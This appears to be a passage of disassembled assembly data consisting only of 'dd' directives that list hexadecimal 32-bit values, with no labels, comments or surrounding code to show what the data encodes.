dd 7730F6C7h, 1932AC44h, 78E70BFCh, 0EF6D6049h, 1CD17B68h
dd 1970CC6Eh, 0C0AC6E02h, 6DC1C783h, 214298FEh, 6C63BD0Fh
dd 0AF4EC058h, 5C21A1E5h
dd 9810AF51h, 9AEEAEF6h, 69143902h, 0E37173B0h, 20B69Ah
dd 9C052BCDh, 934D6BF2h, 0BD6A3800h, 0C9B0FE1Dh, 90C5189Bh
dd 2E71B168h, 0C2424700h, 0B2F6FD36h, 1F9D74AAh, 0F176A180h
dd 81419051h, 8331B531h, 0C2F0BCEEh, 1DB600F2h, 11196A32h
dd 0D4E40305h, 78ABC637h, 0A8468178h, 0C092A61Ch, 0C9505E8Bh
dd 0E5445BA0h, 1FF41440h, 0FA0098C6h, 0DA4DFEC3h, 0A80002C9h
dd 72FC1EABh, 34E5492h, 0C2D746B2h, 7905B0ECh, 219043CFh
dd 8F3E2408h, 5D5F2D69h, 93054E47h, 0CF76C1D9h, 38E3B3F3h
dd 95C852EBh, 0AB24A9FCh, 5D8024E0h, 3EC9BCDCh, 0AC1300F9h
dd 52B3E42Ah, 0EC07B66Ch, 82E73D9Ch, 0A444BDE0h, 101248CBh
dd 0E55C305h, 46980103h, 80C817FCh, 445C6918h, 0C7EF4BF4h
dd 0C0F8C910h, 0E583F7F0h, 269FECA0h, 781B3F03h, 4F909Dh
dd 31A915A9h, 68BE892Dh, 0A5B9D703h, 1FB419h, 72118D30h
dd 7FFF0F7h, 0E49E360h, 1F52F4C4h, 0D8CF6EE8h, 0D19718DFh
dd 9F00B7E8h, 9542EA3Bh, 5AAEEDEh, 9A634C10h, 0D8A41075h
dd 73248877h, 2D3EFCA8h, 0D5F07DE4h, 515BBC00h, 0D06C8EC6h
dd 0A83307BEh, 409D9C99h, 0F79B4C4h, 13160B0Fh, 18B8A31Fh
dd 62083064h, 0B775C21h, 67D54500h, 9788863Dh, 1FC300ACh
dd 9FBFD3E2h, 92035123h, 9DCEA162h, 9B393F9Eh, 0C0B6AB9Fh
dd 673E0FA2h, 0BE1ACFB8h, 17201E71h, 806F1144h, 4D24FF58h
dd 44E331F6h, 2026DE50h, 0A660914Dh, 72A89928h, 802A18B5h
dd 13A411CBh, 4D0CDD07h, 45737C11h, 0D8083079h, 0DD0B8B21h
dd 0C0FC3E0Fh, 0A2390388h, 22D00395h, 0B8EC7B98h, 54C42801h
dd 3D9DE523h, 31C844D4h, 50085C35h, 75208098h, 2ECAE52Bh
dd 7975E1h, 5E80BF1Ch, 0DC72EFB4h, 220198A8h, 0A9306850h
dd 97605978h, 9CD8C310h, 6E2F8h, 8C966118h, 12EE57B7h
dd 282E0B00h, 0C8BD8BE1h, 3B8D03FDh, 0E06786EFh, 22265DD0h
dd 0F0BCEC50h, 1B170BFh, 0D9349C31h, 0D878986Fh, 0AE002CDFh
dd 3FE04A06h, 4C3B4F46h, 0FE0E12EEh, 7B60FDBFh, 32D95918h
dd 0B292CB00h, 6643005h, 5189008Dh, 9B397F2Fh, 2D7C5F18h
dd 25423500h, 0DC97F1ACh, 116A0202h, 8B29F0F4h, 7376F8C0h
dd 0CCC6DF00h, 2F196D90h, 1160012h, 0A91FF79Dh, 0DB63FCA1h
dd 0A962FD08h, 38806C6Ah, 4F36245Dh, 0C8038D31h, 0A27A5D8h
dd 68103F96h, 6E162C87h, 0E7924088h, 4E00891Bh, 0F0586CC0h
dd 183298EAh, 365DED8Bh, 0B80015DFh, 89185FDCh, 3FD16894h
dd 10E116C6h, 0F4D8FB23h, 37E07610h, 5E1350C7h, 1A80AD3h
dd 747FE548h, 0D0FEA7F0h, 680034B7h, 83A13A90h, 0CFAD6B8h
dd 0E70C29E4h, 3F3BF279h, 963B7B5Bh, 18E087ADh, 78632277h
dd 0B906F1ABh, 0C46AC883h, 28009343h, 913D0813h, 143C85B4h
dd 8499B7AEh, 0EC5B3200h, 0A6163D9h, 0E91B060h, 0B1A19Eh
dd 90CEDDD1h, 7C9A12B6h, 1FA5FE0Eh, 826038AAh, 8A1000F3h
dd 0C7069E3Ch, 5F005617h, 0F492F93Ah, 159F08h, 0CA940BB7h
dd 68D57D1Ah, 0FF00617Dh, 5DD8F3AAh, 0F285A8h, 4DC80E09h
dd 0F42916DFh, 866D633h, 1B21000Fh, 43E5C871h, 591D3010h
dd 50C07CA5h, 0B1F80390h, 669D00F6h, 0ADA829F2h, 280032E6h
dd 2D71A95Eh, 3D65105h, 0DF50B28Eh, 91B77639h, 80847DA6h
dd 44788530h, 42BB764h, 5426219Bh, 41E78335h, 0FDB00388h
dd 0D916FCF9h, 82910460h, 0EBA15687h, 0FFF8A70h, 47F45D18h
dd 1C497AC0h, 0E41D955Eh, 84FADB3Bh, 12A05BF5h, 85025A80h
dd 0A47E3747h, 0EA488048h, 3D03F337h, 2B5A94C1h, 4F083349h
dd 37986721h, 4B00ED22h, 0D39816D4h, 3C9CBA1h, 0BA3F05E6h
dd 26DAF49Ch, 0D8618E63h, 0F0C7A839h, 0C08882C8h, 9D4E2511h
dd 4406E60Dh, 0B40EA43Ah, 982D6008h, 9D464FA8h, 753091Dh
dd 25E0A081h, 608C4BFBh, 0BB59A371h, 6A85E0Eh, 6EB2A048h
dd 151E57Bh, 24840CF0h, 4E9CA2CFh, 0C708C8F0h, 4513B0E1h
dd 5E006AF9h, 0A95BFB2Eh, 10E48B2h, 565863A1h, 50F77D75h
dd 0E7F592DCh, 0F279F000h, 1A738946h, 608BE847h, 0CDB12056h
dd 9B00CFE7h, 0B432A57Bh, 1884AAFCh, 0A8B9FF04h, 401DEADCh
dd 1A8083E4h, 69D35433h, 0C8F500E8h, 4E11416Ah, 23008A3Ch
dd 7621CBD1h, 179B4010h, 823993h, 0D513ABCBh, 0C6008AFEh
dd 9F466CEBh, 1C1C0FEFh, 8064A03Ah, 7904C3F4h, 0AC073943h
dd 701072B1h, 23EAF960h, 6C6E00CDh, 643E4604h, 7A794803h
dd 0BF422600h, 0EAC94C86h, 93E8005Dh, 6F8F852Fh, 3900F7B0h
dd 0AC73F470h, 778AB433h, 477700F2h, 3635DDA5h, 0EA30A826h
dd 0C936C0Dh, 98CB3E85h, 11E0C000h, 0F9CC79C1h, 9C08C963h
dd 3920000Fh, 485BC03Ch, 11D1C06h, 91018A5Fh, 0CEADC378h
dd 850DD0h, 7B525AEBh, 99295CB1h, 84C4833h, 89210321h
dd 945B5222h, 389BBFB0h, 5067B08h, 0C03A9ECCh, 0F70C0247h
dd 0DA001159h, 21CE9013h, 850E97h, 1E8D919Ch, 870889DCh
dd 74FCCB00h, 4D0BFF75h, 8CCF301Dh, 0D00DB0D0h, 9632BC00h
dd 0A5093183h, 0A870007h, 4F7D35A3h, 0B2601BB5h, 23290C20h
dd 20C25348h, 60AA58C4h, 0C00405EFh, 0F885EA21h, 94A01270h
dd 7A002D78h, 4884210Fh, 6F8F8CECh, 21780859h, 0F0072CCh
dd 0ACA522C1h, 11DB95E1h, 0F0E133Ah, 803318C3h, 70E85C1Ah
dd 7D19C005h, 0EDE2F296h, 3C06D824h, 8D2A3100h, 0A0EA8709h
dd 0A20880h, 0CD842C91h, 48F481F6h, 0AC417107h, 11B1E423h
dd 9C4098F0h, 24018C53h, 8A004819h, 80F46310h, 41D8DCF6h
dd 12755BA3h, 12BACC5Ch, 0C90355ABh, 95C89B0Ch, 6DD7A002h
dd 858C0733h, 0CBE00936h, 60732C04h, 23E1C035h, 66113911h
dd 0C0C35200h, 0AA9B1801h, 3A398260h, 1F4587h, 830D37CBh
dd 69800BE2h, 1E043848h, 0B6CFB57Bh, 23C0F504h, 0F7B03F9h
dd 62D4845Ah, 73D32079h, 9700E90Fh, 5C81A5E5h, 288C7430h
dd 20FCF551h, 0EE008EE0h, 8B931B18h, 600C3AC5h, 18A41A7h
dd 0E1C25DAh, 3E044887h, 64874927h, 30413D14h, 81991C1Dh
dd 8C810249h, 0CD018312h, 5C9C0080h, 15F90093h, 8A8FA931h
dd 40C1C95Eh, 0FADB590h, 0D5F8E440h, 20136283h, 8000C82Eh
dd 8033F1A4h, 5D768CF6h, 4CEAAAF8h, 23C45B53h, 0C0370175h
dd 0EC911E3h, 0C03D380Eh, 0AAD4BE01h, 57C98E3Bh, 0A75DE0A9h
dd 72E9DD6Fh, 0C9210FD8h, 6461E6CBh, 4F12A111h, 0C39D88FCh
dd 16C3A338h, 4C408FE2h, 0C1D7845h, 0DB828D82h, 63DFB20Eh
dd 0F4E91DD9h, 1400F8A9h, 28BD7F01h, 655449C8h, 0E1EA0DA8h
dd 0A37D300h, 2092CF5h, 0B608CC8Dh, 0F90E4221h, 2049B0D3h
dd 4683C073h, 0F08A549Ah, 6501F114h, 673183B3h, 0E0D933BBh
dd 0B82E76F5h, 54A40391h, 0CB4E5AFh, 900B9DA0h, 4C923271h
dd 0EF014970h, 192CE9Eh, 0A450C406h, 48CFB5B0h, 8F289890h
dd 10F60ED8h, 8BE4867Ch, 2BA0D094h, 68A423C8h, 35D3E704h
dd 0BB62E50Ah, 0D3FF4020h, 768C5C4Dh, 8A3AE01h, 0C8B5BAF9h
dd 2760371Eh, 3B7CF190h, 60D5490Dh, 0FE24EB3Ah, 0F43CF98h
dd 62F4845Bh, 70D22074h, 2C741F0Fh, 8D4B3D07h, 4A9CF5Dh
dd 1F53FB78h, 2001A304h, 4CB17D52h, 8B893D18h, 0C7552E4h
dd 816431DFh, 8006ED1h, 57B801F3h, 21DBF09h, 24BCBB1Ah
dd 1C41C049h, 0B084200Bh, 4A8C31C0h, 60020641h, 74B159CFh
dd 0CE500C64h, 967CA610h
dd 0D779C814h, 12223B0h, 0A3AD3E6h, 88B718FDh, 0D300FE43h
dd 0F84F0EC2h, 9BB4F052h, 1875593Ch, 0C44A00F9h, 25700DE3h
dd 8A78F6A4h, 28C80A29h, 46187471h, 0B93F980Bh, 6ACC0021h
dd 4851F00Bh, 487948D1h, 0C1303009h, 0FF6605D1h, 109D8D14h
dd 289A26A4h, 0A42F2B92h, 4700BA23h, 5C273A7Bh, 0C0480959h
dd 34045008h, 5554007h, 0B03D9781h, 0CCD2010h, 0ADD3F0DFh
dd 32507C1Eh, 8C1B5122h, 0E1298B49h, 71A8868Dh, 52C90964h
dd 4064BBBh, 0EC48682Dh, 0C0FBC868h, 84200F7Dh, 8EC44053h
dd 3000B0CDh, 32F70ADEh, 0A49A9201h, 287F3410h, 110A0222h
dd 0A8DB2A98h, 2BA9AA09h, 117C1D78h, 5A958223h, 0BFFC68CFh
dd 74E05877h, 869B40Ch, 0EB01C080h, 84A88DE8h, 0B1861071h
dd 49330E06h, 2BB5B617h, 8F645C45h, 0D4349040h, 0E4B93813h
dd 0CF820004h, 1D9D95FAh, 2CB971D5h, 0D8A3200h, 0CF2C425h
dd 82955A19h, 4B2A8C41h, 910CBC96h, 0F0ECFE93h, 53B2E75h
dd 733D405Ch, 20016A47h, 1E8F38DBh, 998036AAh, 0FC0510C9h
dd 0C07B83Fh, 867AA2C3h, 911E020h, 78961579h, 5F80983Eh
dd 0F4B17C52h, 0F227448Ch, 470052EAh, 21147CEBh, 40D5908Ch
dd 0E00B1FEh, 8117714Ah, 1E8005CDh, 0C7848C20h, 215DEF1Dh
dd 0C10DCC54h, 25944385h, 137108B8h, 0C833920Eh, 8C700044h
dd 0D0356C7h, 8E7C9805h, 61BAC540h, 2B588E54h, 8F160946h
dd 58E34077h, 14B7CC2h, 999AF1E0h, 0DCDA3E59h, 70904C8Bh
dd 0C50D2620h, 6F43850h, 0D132ADA0h, 0A21AAF00h, 59B1DFEAh
dd 95BD166Ah, 21E00E70h, 3EBC13B2h, 0BA2300h, 3C2D2285h
dd 4067B48h, 34DE8811h, 0BC800C80h, 7F680239h, 92A86F65h
dd 0B50BF441h, 0AFCCB142h, 0F64CB063h, 15EE1E1Ch, 99CE8B8h
dd 9A741E8Dh, 4FDB440h, 3D304AE0h, 0D978507Ch, 23FB01BAh
dd 93431C8Ah, 88982408h, 0A0D80220h, 60A73799h, 7842808Ah
dd 901813E0h, 85203996h, 3F670A9Fh, 71204070h, 0C132CAD0h
dd 34187034h, 11E6C00Bh, 26C9C31h, 7C0C253h, 0BC820E7Bh
dd 1100330Dh, 0D2D60290h, 23803A68h, 0DB4C00B1h, 63DC249h
dd 0D1B97200h, 85A94627h, 55441883h, 4D0B682Ah, 70A8D618h
dd 0F41678E1h, 0FB53097Fh, 102339ADh, 0E6D89321h, 501F81DCh
dd 0B2474BE1h, 1EC064A9h, 983C726Fh, 0E0DCF8B6h, 8C0C1802h
dd 802B50E8h, 0C8CC6533h, 8E8FE868h, 0A0BF8B87h, 21395E66h
dd 90790B0Fh, 89132C3Bh, 48A6008Bh, 264EF16Ah, 800EFF5h
dd 1C63F90Bh, 7C9B30h, 2E291702h, 0A70D164h, 0D5F839C0h
dd 26EB941h, 205B6C65h, 3C909DC1h, 4124AA0Ah, 8BB97027h
dd 1071DEB0h, 6A170Ch, 3D824660h, 2B1F665Bh, 3700A17Fh
dd 136E4EC8h, 1EA8F973h, 56EB7C18h, 7BE40EC7h, 146BDF60h
dd 3A1EDC56h, 0A00820Dh, 0FDA7407Fh, 52C8006Dh, 3E2387E2h
dd 4201F45Dh, 27DB8684h, 88CB1D5h, 0EC20E33Bh, 1300F4E6h
dd 515DBAC3h, 0ECA6E811h, 4321008Bh, 9CF956FAh, 0A008D48h
dd 146C5D61h, 0F243Fh, 5E256A77h, 8A79EE3h, 2E189900h
dd 882F20D3h, 87F90657h, 684ED5F6h, 1E6D5E3Ch, 11B076B9h
dd 1F658983h, 438B0CFBh, 847B7555h, 21009EA3h, 0DD6B71B9h
dd 16985B5h, 0D4476FFCh, 81C5ECE0h, 0CE207579h, 30BCBBD5h
dd 9380A73Ah, 32E69E8Bh, 0E46606F7h, 0F21AB08h, 5092B047h
dd 0FBB31A80h, 40C42480h, 6A00201Fh, 0B127A1FCh, 8715570Eh
dd 0FD092061h, 844163h, 7DADDBF6h, 32EF86F2h, 7795E10Fh
dd 0C6F8181Dh, 112A000Ch, 0AA81F836h, 0A0C8AF91h, 9241C3C0h
dd 35969E90h, 0FCC54586h, 440093BEh, 9BD93C2Ah, 300EF047h
dd 0B021B370h, 0ECA853A5h, 0B228798Dh, 20F9B4D3h, 1F020F6Dh
dd 0B67E05BAh, 60DC8080h, 5599D3h, 58502ECFh, 0D5AE82Ch
dd 0A92A3Ch, 0AC4981FBh, 1B26D1BCh, 69AE770Eh, 1C5B823h
dd 9E4293B8h, 0B1AC58EEh, 92D44689h, 836A0088h, 521F34D2h
dd 0FF204951h, 877C2Bh, 0AB6236FBh, 0A0BB91A5h, 6C08156Fh
dd 1FE92051h, 80DB36C0h, 0A17FD402h, 2200EF72h, 6EE0BADh
dd 14F22DD9h, 802CFC3Ah, 59304D29h, 737418FFh, 8F343CD0h
dd 77082E81h, 24C5A9F7h, 0B260DB38h, 37810BD1h, 992F0040h
dd 31EC2C6Ch, 5DEAADB1h, 0F8A9FC28h, 460EFF01h, 76FDA421h
dd 4202B826h, 4E85B9F4h, 15103D31h, 9900F484h, 1FFEFFF3h
dd 7C058B8h, 5FF6F865h, 0B73182A9h, 0C677D880h, 0B11E9425h
dd 7AC0645Dh, 0B6CB706Eh, 0D0F7122Ch, 0B4AC320Bh, 50896231h
dd 0AC31930Ch, 6ABE11C6h, 127248C4h, 0C9122h, 1F88AC58h
dd 50732F6Ch, 28BA8729h, 0FA659C00h, 8686630Ch, 64B410F7h
dd 0CAE3006Ah, 0D9DBB9C6h, 8831F774h, 0B6D22189h, 52EEAC50h
dd 0DDFA0059h, 348BC3EFh, 0B70222FEh, 0CFD18815h, 28E890E8h
dd 0CC9E2891h, 901DF084h, 2854628h, 0AB8E36F7h, 10F931C5h
dd 1361CE5h, 726BFD25h, 803319C2h, 0EF140E8h, 0C33E4932h
dd 0F4D0F610h, 9D2BA900h, 41B098AFh, 7150002Ch, 89CD3332h
dd 0A5005B81h, 0E3212D76h, 90F4E678h, 36CC00B0h, 0D0B4D26Ch
dd 58003357h, 0DEF796ABh, 0A702394h, 8913B74Ah, 209A9FB0h
dd 0ABF0AF03h, 8804F824h, 247E228Bh, 0C0B8C720h, 9E409246h
dd 448635E2h, 1498D8DCh, 183E8007h, 0D1D13990h, 0B0326F72h
dd 4A30CBF2h, 27EA0056h, 7D33378Ah, 709080B1h, 29A26630h
dd 0E1F13A72h, 55CB9840h, 0E2C681E2h, 9E0C9844h, 31BC2D25h
dd 4CC060C8h, 0DAFFA35Fh, 0A94CE100h, 0B8531B3h, 0C63A0177h
dd 0A637740Fh, 3C9FDCBFh, 21D4D450h, 2CA26D0Fh, 904F8018h
dd 0A7778188h, 26808C14h, 0AF049980h, 29B34CB8h, 3071C882h
dd 4611F441h, 3188A684h, 0F44B1080h, 4C6E72h, 4CE3ACBh
dd 0E7367CFh, 0E89A09EEh, 0A898B23Eh, 0D09E019h, 223B3932h
dd 20F78E20h, 96C6E8F0h, 0F3A27E12h, 4B6F1004h, 4CE4884h
dd 1EC0A288h, 0EF2A58h, 55B22657h, 60AB9D7Bh, 8C90BFFCh
dd 25043B71h, 2381FAE3h, 0D90BC846h, 42F1E600h, 0DA3080F5h
dd 98F3BCDh, 0C560540Ah, 469420F0h, 0F48B0277h, 0E7B685B8h
dd 4D1E0014h, 34A3CDF4h, 185123Fh, 792B5F88h, 0D424BA3Eh
dd 6B92831h, 8A49008Ch, 5F238CDDh, 2D587E09h, 602C0054h
dd 5EB9E92Ah, 730303F6h, 0ECE26D37h, 0E18EBC88h, 48AC1A00h
dd 0CC3257C4h, 0ECD00BFh, 0D6467FBEh, 68008F9Eh, 0D702D9AEh
dd 262D3A92h, 3AFD5CD2h, 73FF8280h, 53E04B27h, 0D55F9000h
dd 0CB2EAD09h, 48400B0h, 2464FDC7h, 1D010383h, 456A0D13h
dd 0E1E0BF1Eh, 6C9B0082h, 0B3DDF11Bh, 8C5CABB5h, 88D70F14h
dd 55D2E021h, 2E78491h, 9919DA33h, 0DEE0D098h, 3E05F8C7h
dd 5D831F94h, 34E3043Fh, 1F56C8Bh, 154C8F08h, 0D327E062h
dd 1D901E00h, 586F781Ah, 0E83500BCh, 8F5C1F07h, 0E1060D76h
dd 15042766h, 6E542229h, 18312F10h, 0E2084A21h, 68E088D2h
dd 8830CE88h, 5788166Eh, 84BC9017h, 0A248374Bh, 22CA0D42h
dd 34006B48h, 0F6BEEEh, 790B4154h, 0B363ADF1h, 0D9051A00h
dd 0CB5435Ah, 27680047h, 7DE8F494h, 0D3006638h, 6A553FCh
dd 24F30Ah, 2B4DB6A2h, 0A68637F4h, 263BDD00h, 0CA34CC80h
dd 5E100061h, 3748A31h, 8C0002E2h, 0DFD2852Ch, 148E953h
dd 0BB45439Ah, 80B28407h, 0C9518B18h, 7BAEC26h, 89B55414h
dd 0C57D3086h, 0B700678Eh
dd 0EC3647ADh, 0E83B34ABh, 8B5E00EAh, 0F5D51F3h, 6100442Dh
dd 0DABA95C4h, 0FD399DDh, 0ED74E3B7h, 61C8A9Ch, 0CDB683ECh
dd 79A8C1DAh, 0B500F88Fh, 5EBA283Ah, 7AD7644h, 839F1AB2h
dd 0FF983716h, 423D7263h, 0D0DDA1C9h, 0B100A419h, 811BB3E9h
dd 6032BA5h, 0CDF1A28Eh, 20021146h, 752EFF7Ah, 2CEF0EB9h
dd 2B328E0h, 3D729BC8h, 0CCACA701h, 46345632h, 54243024h
dd 539C5Fh, 919626F5h, 42E86E0Fh, 4FF05701h, 66880A62h
dd 0E5F3EE4h, 0A7781EB3h, 0B3289A67h, 93A8CDDEh, 4D00D38Ah
dd 0FF31F30Eh, 13957ABh, 0A73DC6Dh, 0F0A7D047h, 131EE5F2h
dd 78800B40h, 41C8FA66h, 849F0024h, 0E0AFF0DBh, 5300D78Ah
dd 0C438CAA3h, 67A24Eh, 0A164FEBDh, 9CE7908Eh, 0EE589403h
dd 0E8621246h, 0CBC57Ch, 72BB1FCCh, 28736E49h, 9F210301h
dd 327F0EAFh, 1C62FDC0h, 40CECC4Bh, 0D55658B9h, 8E02AF30h
dd 680561A8h, 46888A90h, 2C2E0400h, 0B16DA6h, 4B8919C8h
dd 6C2166F3h, 97CADB0Eh, 0FCDC00FFh, 0E0AC8393h, 37A90015h
dd 659F5DF9h, 64B07C1Bh, 0CC42D40Fh, 581D5293h, 0AC584E00h
dd 0F469C43Fh, 6FF827h, 5FEAEB1Ch, 0B3109A97h, 3F6BB00Bh
dd 0B56B80DEh, 7B8671BCh, 7B210068h, 6ADB455h, 0C4005A9Ch
dd 0D307B529h, 0EF66896h, 0EEF5EFACh, 93D1C5C0h, 0C80935E9h
dd 80E722h, 8AD4392Ch, 0F4FB7317h, 0F638E232h, 9B4200F0h
dd 6A2E099h, 7000EF4Ah, 0A5B61F1Dh, 0A076B3h, 0FE839B19h
dd 153B8D7h, 170247F2h, 0AF6B3364h, 1F4C60F9h, 0B1C001Bh
dd 38C3D3D9h, 771D88FFh, 0B24FA080h, 9031613Dh, 8AF524F9h
dd 0C874F880h, 8DCD8037h, 17CCE0F7h, 50C41B07h, 76E04A46h
dd 85FA65h, 0A6F30D74h, 9BA46EA5h, 0DD80E600h, 2305AEB9h
dd 0F28FE017h, 0CD900050h, 39436A55h, 0E10EBCE3h, 0A0B410AAh
dd 0A877B385h, 9FF30E1Bh, 0B7C0DF9Bh, 7E38AED2h, 4F056901h
dd 5F0EB272h, 3DF4FC40h, 42EE00F3h, 2094172Dh, 13C224Dh
dd 8D9F00B7h, 0BA0CF23Fh, 703600C6h, 85A23D47h, 0B9ECC5C3h
dd 6CFED901h, 0C73E7A18h, 53ADB840h, 79EE1D1Eh, 1BC401Fh
dd 0C16F03DCh, 0CE727C00h, 7E31CB15h, 1DC002EEh, 4A77C74Ch
dd 0B98A1C60h, 0E700F790h, 96975BDBh, 69460Dh, 510E9BF0h
dd 0FC8A0458h, 0A3FA8B01h, 0EF800873h, 62B6F8h, 0AFECC376h
dd 307AE00Ch, 4403C474h, 1D07258Bh, 2FDC985Dh, 183300D8h
dd 193D10D7h, 201CF23Ah, 240E59Ch, 0FCF63ECEh, 139A09EAh
dd 0B0B0F871h, 44012E2Ch, 5A7E8179h, 0B840BC3Fh, 122BAEB7h
dd 2A06FDh, 31E86A24h, 0D648E95Ah, 1F661118h, 7552AA06h
dd 8203E809h, 20C4D165h, 7095F83Fh, 0ECC67EE5h, 98320278h
dd 0AD4C5BBBh, 0A75DF440h, 53BCE200h, 3F75604Bh, 7F91019Ch
dd 30C7DA45h, 178BA6Eh, 0CCF9FB93h, 0EEF5859Eh, 1B597F4h
dd 1D7365F4h, 0CC9C4B8Fh, 0D7000478h, 0BC8CE137h, 4974DD0h
dd 680D6C2Fh, 0DC78C0C4h, 210178B7h, 16E0E7Dh, 0F4C4CAB8h
dd 0F610CFDh, 8520A37Eh, 0C7192009h, 257183E1h, 9603E8C2h
dd 4141C098h, 1524B4C4h, 0A98B6601h, 60F6834Eh, 0A0DE4h
dd 4644E502h, 96C7431Fh, 0A63AE600h, 0D08CFC6Ah, 0C2531D18h
dd 0CB3B00F5h, 956F46E4h, 80A6143Dh, 7A1B52A4h, 639DC3h
dd 0E92F3161h, 4D7DA07h, 639D400h, 156DCFA7h, 5AFE018Ah
dd 4D86F2BEh, 0DC11D03Bh, 0E3822904h, 4BC00BD5h, 246341BFh
dd 0A0D0A10h, 16A01B7Dh, 8DBA00D4h, 9B50FD16h, 3D19E007h
dd 5E80E3A5h, 0BDF2D8h, 0EF6056BCh, 0C4C72732h, 9F2B9800h
dd 0D081250Eh, 1F6900A6h, 6BE8F8EEh, 0D1005B30h, 84A0D8CAh
dd 0A5A22Dh, 0C7BF9FBEh, 4808B805h, 145B3824h, 24CD7309h
dd 790EA64h, 50DAD0h, 8E05A5A1h, 22619EE9h, 0C0087128h
dd 8063F03Bh, 8D807EDEh, 4F1BDB7h, 9549D732h, 0E67891AEh
dd 9A19C43Ch, 0D37D4B00h, 0C7D142E2h, 29F51CB6h, 81EDCBB7h
dd 0AB76DC00h, 0A907E51Ah, 0A49BC4Ah, 0AAA7E697h, 83530E50h
dd 0BF24009Eh, 33C5F07Ah, 0E105E9FBh, 0D0886A95h, 74168F00h
dd 332E37Ch, 8131226Dh, 87987B6Eh, 0DF00DB98h, 0B4963D9h
dd 7B8DFC4Eh, 0DDD100AEh, 4B4742A7h, 0B309150Dh, 3ED4051h
dd 0F8F293B0h, 0FCE7EEAh, 61DF54B5h, 0DA645D40h, 96008225h
dd 8AF52E4Ch, 0EDE7E2h, 55BFC6D7h, 0A8FF900Ah, 0F19F4E00h
dd 1A37D5CAh, 3BFD3CCDh, 444AB600h, 5A85E815h, 0F3872901h
dd 0C48ECEFh, 0E3A07D8h, 2EC58E40h, 0D8E7A400h, 0D50958D7h
dd 87A7B0F7h, 1290489Dh, 0D16799h, 0F64BCB38h, 665F5EE4h
dd 0F3B811Ch, 41D7AB04h, 2A3EF880h, 9B9E0F5Ch, 0FAEF6845h
dd 5480EACFh, 0DC849204h, 0A11E6000h, 2457670Fh, 1C73EA8Ch
dd 81AE1ACFh, 1C940B7h, 5F7CDCD4h, 31F8D509h, 856C8E28h
dd 68D00BACh, 1D586D8Eh, 810662A7h, 53BADF36h, 0D120602Ch
dd 9DF9490Bh, 0BC4C03ECh, 0F8DB9821h, 0A8A31383h, 0AC881411h
dd 471A0092h, 0E2CC53BEh, 80AF593Fh, 0DC8F9135h, 2549A6h
dd 98208178h, 5CA1546Bh, 0CC3D8A01h, 40C535C0h, 0C030462h
dd 8BA49FB9h, 197D05F0h, 0B243D200h, 77D1C276h, 1D1500C4h
dd 30C06D94h, 0DB7CF578h, 0E8D84660h, 0FC8F898Bh, 0B47717ABh
dd 0BB28000Ah, 0D82B0501h, 4978D6F8h, 5A205803h, 0A41810E5h
dd 2D53A080h, 6C0C1DB5h, 0FF92C5CAh, 3A088036h, 6803A58Ah
dd 820E79C9h, 0E166B250h, 0BEC4C2D4h, 2AE00F5Fh, 833E9D16h
dd 4F7482B1h, 0E5F80CE0h, 0F91EA090h, 0E02B3Ah, 0FADF4166h
dd 1EB358CFh, 11750600h, 5571107Eh, 3F97F46Bh, 0DB81879Fh
dd 8EABC8D2h, 6D047098h, 0E71C370Ch, 891162h, 0FE5D07DDh
dd 666EEB3Dh, 0CCB8047Dh, 4E3B8E0Fh, 6C82088h, 10A7ABh
dd 80D29401h, 0AC0F836Bh, 0D38C40EBh, 0EC09B168h, 3A30CDBh
dd 88854DE0h, 25EF46h, 10419A12h, 0A00FDDFAh, 88F91500h
dd 3C7EDB3Fh, 0BC93197Dh, 700C0AA6h, 2E1D37A3h, 1707BDB0h
dd 0D020F0EBh, 24728B09h, 680149h, 0C4FAE3CFh, 415D8F1Bh
dd 9EA048ECh, 57D0FB41h, 0C9E4FE44h, 66410014h, 0D1B25DF7h
dd 37036CD6h, 0BFE4094Bh, 13E87D9Eh, 40D2B07Bh, 0D3380A80h
dd 0D4007934h, 0A2452A5Ah, 0A0A4598Eh, 0ED8280h, 1D9A6DB9h
dd 0BF067B0Bh, 63735702h, 8014E2F3h, 9992A1D4h, 81D0017h
dd 861E64DEh, 670961DCh, 0ED284FAh, 3AD3008Ch, 670F7E1h
dd 915EAB34h, 971FC899h, 3FB8FFE2h, 9C1A8024h, 52EA4582h
dd 0FBA60BB8h, 80DF9527h, 38075450h, 0B0760006h, 7991DC58h
dd 0BF01D273h, 943ECAA3h, 0E4C02CDAh, 0E0690090h, 0AC6880D9h
dd 3007FAEh, 811EADA5h, 394CE1F7h, 85002733h, 0E4245BC5h
dd 0DF50D354h, 0E2F6E9BFh, 39359C0Ah, 0D202BCC7h, 405E7E3Eh
dd 0CCA7B3Ch, 0FE791733h, 26F869EEh, 920A5D07h, 490AFD1h
dd 0F7BC94h, 0B7DF3D01h, 0B569C083h, 0F7274Ch, 45E91D4Ah
dd 1857597Ch, 989EB775h, 9FF44Eh, 8203DACEh, 441A0072h
dd 5E14B8DBh, 7AFCC048h, 803A0138h, 27557BA5h, 0FC3E4536h
dd 3DBD00B5h, 92BF59EAh, 1E00B2DAh, 0FAFB5FE4h, 479EC3h
dd 0B5FD71B0h, 0A08815D1h, 0F0126EFEh, 8009A8Eh, 97C926B9h
dd 0BDAD00F5h, 365EF94Ah, 0EB1FB229h, 60C017D8h, 0F7697B15h
dd 7ACE004Bh, 0BBB6A0Dh, 0B4034520h, 50097F51h, 5BF58086h
dd 93EF0049h, 88C2BCEEh
dd 0F4A09ECAh, 3730A3F9h, 0CD408898h, 30D57C62h, 0E3210F65h
dd 200AC0Bh, 4F6411A6h, 98168B1Dh, 0FF800094h, 0F9D1599Ah
dd 0C92E8E6h, 68845D07h, 8AF05C31h, 528539Fh, 0ACBD55E1h
dd 0F271C13Bh, 9D83F02Dh, 92D48C00h, 0BC7B3DECh, 9A9090E4h
dd 16E172CCh, 1748BEh, 23EFD4FCh, 554CDF6Eh, 30E0263Ch
dd 9D8BAD04h, 3174CE0h, 0EAB0631Ch, 23D1936Ch, 52CCD8BCh
dd 87CA501h, 124DE9D5h, 112840E6h, 305600F3h, 9BFF84C1h
dd 0EA00E7F8h, 4F1F9D4h, 590E86h, 71BEB2A9h, 91651BDCh
dd 82075C90h, 9E020369h, 7FE99990h, 96A4FBFh, 0D80005E0h
dd 41822E3Ah, 0C7323600h, 25170EFFh, 0FE8EEE9Bh, 74E9005Dh
dd 6E6F9146h, 0F7791DDEh, 33435707h, 28007383h, 330192Ch
dd 55D626CEh, 4888DDE8h, 0A9017793h, 0ED675902h, 303C768Bh
dd 1A656800h, 5ACA06EAh, 0EC4E1024h, 0E419100h, 3C5466EFh
dd 304D53E1h, 7EB1BF04h, 0DC905258h, 0EAC713h, 0F01EF155h
